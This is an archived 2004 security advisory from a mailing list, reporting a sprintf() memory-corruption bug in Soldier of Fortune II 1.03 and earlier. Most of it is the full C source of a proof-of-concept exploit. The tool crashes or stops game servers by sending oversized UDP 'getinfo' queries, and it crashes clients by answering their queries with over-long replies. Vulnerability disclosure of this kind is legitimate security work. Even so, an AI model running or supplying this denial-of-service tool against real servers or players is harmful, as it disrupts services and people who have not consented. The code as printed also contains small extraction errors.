

[NT] Soldier of Fortune II Broadcast Memory Corruption Bug

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-11/0090.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 11/25/04

To: list@securiteam.com

Date: 25 Nov 2004 14:11:27 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Soldier of Fortune II Broadcast Memory Corruption Bug

SUMMARY

Soldier of Fortune II is a widely played FPS game developed by <http://www.ravensoft.com> Raven Software and released at May 2002.

A denial of service attack is possible on the server when issuing a very large but valid query, the effects of which are an immediate match interruption and possible crash of the server itself.

DETAILS

Vulnerable Systems:

* Soldier Of Fortune II versions 1.03 and prior

The game is affected by a `sprintf()` overflow when handling a very big valid query or reply (in case it acts as server or client). However it doesn't seem possible to execute remote code, only to corrupt the server process' memory.

The effects on the server can be the immediate match interruption (shutdown) caused by overwriting of game data or a crash (that doesn't

Securiteam: [NT] Soldier of Fortune II Broadcast Memory Corruption Bug

happen on the Linux dedicated server), depending on the amount of data received from the attacker.

The client part of the game also suffers from such a vulnerability, allowing any attacker in the game world to crash any other client by issuing a very long query.

Patch Availability:

The vendor hasn't fixed the issue and hasn't replied as well but an unofficial patch by Luigi fixes the problem and can be downloaded from:

<<http://aluigi.altervista.org/patches/sof2-103-fix.zip>>
<http://aluigi.altervista.org/patches/sof2-103-fix.zip>

Exploit:

/*

by Luigi Auriemma – SECU – <http://aluigi.altervista.org/poc/sof2boom.zip>

*/

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
```

```
#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>
#endif
```

```
#define VER "0.1"
#define BUFFSZ 4096
#define PORT 20100
#define TIMEOUT 3
#define CHR 'a'
#define CLBOOMSIZE 2064
#define INFO "\xff\xff\xff\xff" "getstatus xxx\n"
#define SVBOF "\xff\xff\xff\xff" "getinfo "
#define CLBOF "\xff\xff\xff\xff" \
    "%sResponse\n" \
    "\\sv_allowDownload\\0" \
    "\\sv_allowAnonymous\\0" \
    "\\punkbuster\\1" \
```

Securiteam: [NT] Soldier of Fortune II Broadcast Memory Corruption Bug

```
"\\needpass\\0" \  
"\\pure\\0" \  
"\\gametype\\elim" \  
"\\sv_maxclients\\32" \  
"\\clients\\16" \  
"\\hostname\\noname" \  
"\\protocol\\2004" \  
"\\mapname\\mp_jor1" \  
"\"
```

```
void show_info(u_char *data);  
int timeout(int sock);  
u_long resolv(char *host);  
void std_err(void);
```

```
int main(int argc, char *argv[]) {  
    int sd,  
        len,  
        psz,  
        on = 1,  
        type,  
        svboom = 0;  
    u_short port = PORT;  
    u_char buff[BUFSZ + 1];  
    struct sockaddr_in peer;  
  
    setbuf(stdout, NULL);  
  
    fputs("\n"  
        "Soldier of Fortune II <= 1.3 server and client crash/stop"  
        "VER"\n"  
        "by Luigi Auriemma\n"  
        "e-mail: aluigi@altervista.org\n"  
        "web: http://aluigi.altervista.org\n"  
        "\n", stdout);  
  
    if(argc < 2) {  
        printf("\nUsage: %s <attack> [port(%d)]\n"  
            "\n"  
            "Attack:\n"  
            " c = broadcast clients crash (caused by a valid reply of %d  
bytes)\n"  
            " s = server shutdown/crash, the effect depends by the amount  
of data you send.\n"  
            " The amount of data and the IP or hostname of the server must  
be specified\n"  
            " after the 's' in this format: sof2boom s SIZE SERVER  
[PORT]\n"  
            " Usually the values >= 1014 crash the server (only if  
Windows), while a\n"  
            " lower values (like 1000) stop the match, try yourself\n"
```

Securiteam: [NT] Soldier of Fortune II Broadcast Memory Corruption Bug

```
"\n"
"Usage examples:\n"
" sof2boom c listens on port %d for clients\n"
" sof2boom c 1234 listens on port 1234\n"
" sof2boom s 1000 192.168.0.1 tests the server 192.168.0.1 on
port %d\n"
" sof2boom s 1200 sof2server 1234 tests the server sof2server
on port 1234\n"
"\n", argv[0], port, CLBOOMSIZE, port, port);
exit(1);
}

#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

type = argv[1][0];

if(type == 's') {
    if(argc < 4) {
        fputs("\n"
            "Error: you must specify the number of bytes to send and
the server hostname.\n"
            " Example: sof2boom s 1000 localhost\n"
            "\n", stdout);
        exit(1);
    }
    svboom = atoi(argv[2]);
    if(svboom > (BUFFSZ - sizeof(SVBOF))) {
        printf("\nError: use a value minor than %d\n\n", BUFFSZ -
sizeof(SVBOF));
        exit(1);
    }

    peer.sin_addr.s_addr = resolv(argv[3]);
    if(argc > 4) port = atoi(argv[4]);
    printf("- target %s:%hu\n",
        inet_ntoa(peer.sin_addr),
        port);

} else if(type == 'c') {
    peer.sin_addr.s_addr = INADDR_ANY;
    psz = sizeof(peer);
    if(argc > 2) port = atoi(argv[2]);
    printf("- listen on port %d\n", port);

} else {
    fputs("\n"
        "Error: Wrong type of chosen attack.\n"
        " You can choose between 2 types of attacks, passive versus
```

Securiteam: [NT] Soldier of Fortune II Broadcast Memory Corruption Bug

```
clients with\n"
    " 'c' or versus servers with 's'\n"
    "\n", stdout);
exit(1);
}

peer.sin_port = htons(port);
peer.sin_family = AF_INET;

sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();

if(type == 's') {
    fputs("-- request informations\n", stdout);
    if(sendto(sd, INFO, sizeof(INFO) - 1, 0, (struct sockaddr *)&peer,
sizeof(peer))
    < 0) std_err();
    if(timeout(sd) < 0) {
        fputs("\n"
            "Error: socket timeout, probably the server is not online
or the port is wrong\n"
            "\n", stdout);
        exit(1);
    }
    len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
    if(len < 0) std_err();
    buff[len] = 0x00;
    show_info(buff);

    memcpy(buff, SVBOF, sizeof(SVBOF) - 1);
    memset(buff + sizeof(SVBOF) - 1, CHR, svboom);
    len = sizeof(SVBOF) - 1 + svboom;

    printf("-- send BOOM packet (%d bytes)\n", len);

    if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer,
sizeof(peer))
    < 0) std_err();

    if(timeout(sd) < 0) {
        fputs("-- no reply received, it is probably crashed\n",
stdout);
    } else {
        fputs("-- received a reply, probably it is not vulnerable\n",
stdout);
        len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
        if(len < 0) std_err();
    }

    fputs("-- check server\n", stdout);
    if(sendto(sd, INFO, sizeof(INFO) - 1, 0, (struct sockaddr *)&peer,
```

Securiteam: [NT] Soldier of Fortune II Broadcast Memory Corruption Bug

```
sizeof(peer))
    < 0) std_err();

    if(timeout(sd) < 0) {
        fputs("\nServer IS vulnerable!!!\n\n", stdout);
    } else {
        len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
        if(len < 0) std_err();
        buff[len] = 0x00;
        printf("\n"
            "Server doesn't seem to be vulnerable, the following is
the reply received:\n"
            "\n"
            "%s\n"
            "\n", buff);
    }

    } else {
        if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on,
sizeof(on))
    < 0) std_err();
        if(bind(sd, (struct sockaddr *)&peer, sizeof(peer))
    < 0) std_err();
        fputs(" Clients:\n", stdout);
        for(;;) {
            len = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer,
&psz);
            if(len < 0) std_err();
            buff[len] = 0x00;

            printf("% 16s:%hu -> %s\n",
                inet_ntoa(peer.sin_addr),
                ntohs(peer.sin_port),
                buff);

            if(!memcmp(buff + 4, "getinfo", 7)) {
                len = sprintf(buff, CLBOF, "info");
            } else {
                len = sprintf(buff, CLBOF, "status");
            }
            memset(buff + len, CHR, CLBOOMSIZE - len);
            if(sendto(sd, buff, CLBOOMSIZE, 0, (struct sockaddr *)&peer,
sizeof(peer))
    < 0) std_err();
        }
    }

    close(sd);
    return(0);
}
```

Securiteam: [NT] Soldier of Fortune II Broadcast Memory Corruption Bug

```
void show_info(u_char *data) {
    int nt = 1;
    u_char *p;

    while((p = strchr(data, '\\')) {
        *p = 0x00;
        if(!nt) {
            printf("%30s: ", data);
            nt++;
        } else {
            printf("%s\n", data);
            nt = 0;
        }
        data = p + 1;
    }
    printf("%s\n", data);
}

int timeout(int sock) {
    struct timeval tout;
    fd_set fd_read;
    int err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}

u_long resolv(char *host) {
    struct hostent *hp;
    u_long host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_long *)hp->h_addr;
    }
    return(host_ip);
}

#ifdef WIN32
void std_err(void) {
    perror("\nError");
}
```

Securiteam: [NT] Soldier of Fortune II Broadcast Memory Corruption Bug

```
    exit(1);  
  }  
#endif
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:aluigi@autistici.org> Luigi Auriemma.

The original article can be found at:

<<http://aluigi.altervista.org/adv/sof2boom-adv.txt>>

<http://aluigi.altervista.org/adv/sof2boom-adv.txt>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.